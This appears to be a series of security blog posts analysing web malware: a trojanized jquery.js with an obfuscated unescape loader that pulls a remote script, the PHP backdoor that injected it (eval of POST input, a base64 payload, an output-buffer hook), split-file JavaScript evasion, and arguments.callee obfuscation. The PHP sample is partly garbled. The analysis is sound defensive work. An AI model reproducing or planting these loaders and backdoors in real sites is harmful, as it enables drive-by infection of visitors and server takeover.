Recently, we stumbled upon a strange Javascript file; at first sight, it looked like a totally legitimate, clean file. The file name is jquery.js and has all the characteristics of a proper jquery file. Even the header was kept:

/*
* jQuery JavaScript Library v1.3.1
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
* Revision: 6158
*/

jquery is a popular javascript library used as said on the homepage (http://jquery.com/) “to simplify HTML document traversing, event handling, animating, and Ajax interactions for rapid web development.”

But something caught our attention, an “unescape” sequence in this code used to hide something:

document.write(unescape(‘fq%3CssoWcOTHriDpgpsoWt%20sOTHrc%3DOTHhDpgtsoWtDpgp:%2F%2F94soW%2EVV24Rp7%2E2Rp%2E19U6k5%2FneU6kwsfq%2F?iVVd%3Dfq1fq0RpZ%3E%3C%2FH5rscDpgrRpiptRp%3E’).replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,”").replace(/Z/,navigator.appName.charAt(0)==’M'?’0′:’1′));

The unescape argument contains garbage that, once “cleaned” by the first “replace” method call, reveals the following code:

<script src=http://94.247.xxx.xxx/news/?id=10Z>/script>

The second replace call is used to check the browser editor (Netscape or Microsoft), and replace ‘Z’ char in the previous code with 0 or 1 depending on the test. So the dynamically injected code depends on the target browser editor.

Unsurprisingly, this code turned out to be a XOR obfuscated script that embeds links to malicious PDF file and malicious FLASH file targeting some vulnerabilities that have been disclosed recently. So if the targeted computer third party tools were not up to date, there is a high risk that the computer will be infected after visiting this url.

Nothing new, you will say? Perhaps. Yet what is interesting in this case is that this infection of a legitimate javascript file happened right on the server. Indeed, we found the PHP code used to corrupt this Javascript file. In order to run and accomplish its malicious task, this PHP piece of code has to be uploaded on the targeted web server. PHP code server injection is a relatively common attack, usually meant to push a “PHP Shell” onto a server to take control of it. It is achieved via various techniques, such as remote file inclusion, image or avatar uploading, etc… There was a valuable article on PHP Shells at PhishLabs some time ago.

{if(isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);
if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,base64_decode(‘PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCm
RvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NGT3Njeno4ckNwaXB0Q3AlMjBzeno4cjF6YyUzRCU yRjF6JTJGOTF4NCUyRVYwbjJGTzQ3JTJFMjF4JTJFQ3AxOTUxeiUyRmpWMG5xeno4dTF6ZTF4cjJu
SnkxeCUyRTJuSmpzJTNFJTNDJTJGc2NyaVYwbnB6ejh0Rk8lM0UnKS5yZXBsYWNlKC9GT3wybkp8MXp8Q3B 8eno4fFYwbnwxeC9nLCIiKSk7CiAtLT48L3NjcmlwdD4=’));
function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));
if(preg_match_all(‘##','',$s);
if(stristr($s,'
elseif(($s1!=$s)||stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])
call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;
else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');
for($i=0;$i

This rather clever piece of PHP code essentially scans server files for 'script' tags, and once found, injects here the malicious piece we identified above in jquery.js. Thereby turning visitors of the web server into potential Zombies, cash cows, or whatever else can be done to a trojanized computer.

To put it in a nutshell, the code injection chain is the following: a cybercriminal injects PHP code into a webserver, which injects javascript code into all local files, which injects remote dynamic script into all visitors browsers, which loads malicious documents, which inject Trojan files into their computer, which milk the targeted user.

While malicious servers hosting “drive-by-install” scripts are continuously evolving, their goal remain the same: to silently drop and run malicious files on the victim’s computer. The flaws exploited by those Web Attacks Toolkits have been quite the same for a while, so what’s new in “malscripts” world?

As we pointed in a previous post, malicious web-based exploits writers worked out some advanced obfuscation methods to hide their malicious scripts from detection. It seems that this trend is taming down and being replaced by a simpler yet effective trick: split the malicious Javascript in multiple files.

Indeed, Javascript is a highly flexible language, where a given script can be cut in multiple files and stored at different places…

How does this method impact detection at IPS or/and AV levels?
As a matter of fact, a classic file-based detection is usually based on logical patterns that can be seen in the file (sometimes through a certain number of obfuscation layers). Thus, if for a given malicious file a required logical pattern actually sits in another file, the detection engine may fail to mark the file as malicious. See the code snippet below:

<script src="wokaono.js"></script><script>nnnnnnn["DownloadAndInstall"](SbSbSbSbSb);</script>

Here, the variable “SbSbSbSbSb” is declared in an external script named wokaono.js. This last script alone is not malicious, and neither is the quoted code above. It’s the combination of the two that gives birth to a malicious behaviour.

The detection logic therefore needs to be Javascript code flow-based, rather than Javascript file-based. That is to say, detection engines have to reconstruct the Javascript code stream before applying their detection logic. This, of course, requires implementing at least partially a Javascript embedded interpreter in the detection engine. Which has a performance cost, of course. And can be targeted by anti-emulation tricks. And so continues the race to arms…

But who needs drive-by-install scripts detection anyways, when one can simply detect the Trojan it aims at installing? ;)

Legitimate — and sometimes renowned — web sites are more and more subject to code-injection attacks; and it’s not rare today to find your every day site injected with malicious JavaScript code, which sole purpose is to silently redirect all visitors to malicious servers “behind the scenes.”

What happens on those servers is called a “drive-by-install” in the jargon, and results in malicious executable files being (again) silently pushed and run on the victim’s computer.

Details on the drive-by-install process, while interesting, are out of the scope of this post, which instead focuses on the initial, “silent redirection” code injected in the targeted web site.

This injected code is today systematically obfuscated, to evade manual and automatic methods of detection. Such obfuscation methods are very interesting to look at, as they are always evolving, in an ever-going race-to arms between malicious code authors and security analysts.

Our most security-oriented readers are probably already aware of the heavy use of the JavaScript “argument.callee” function made by malicious code authors to slow down the analysis of their obfuscated code.

As it name says, “argument.callee” returns the source code of the function that called it. For instance, the following code:

function my_example() { alert(argument.callee) }

Would pop up a message box displaying the content “function my_example() {
alert(argument.callee) }”

Malicious code authors use this somewhat odd function for fun, profit, and above all to irritate malicious code analysts: indeed, the decryption function of the obfuscated code uses as a decryption key… argument.callee! or in other terms, its own code.

Consequence: should an analyst change a single character in the decryption function, the decrypted code will be bogus, thus valueless.

Typical bits that an analyst may want to change in the decryption function would be “eval” for “print”, which eases the whole analysis a good deal.

Of course, there are ways for analysts to get around this, like for instance automatically replacing “argument.callee” by a static variable containing the expected key (i.e. the callee source code).

Malicious code authors seemed to become aware of it lately, as we started to see attempts to masquerade references to argument.callee. This is a “real life” example:

eval('a+rDgDu,mBeDn[tDs[.,c,aDl+lDe+e['.replace(/[D\[B\+,]/g,'')).toString().replace(/[^@a-z0-9A-Z_.,-]/g,'')

And so continues the race to arms…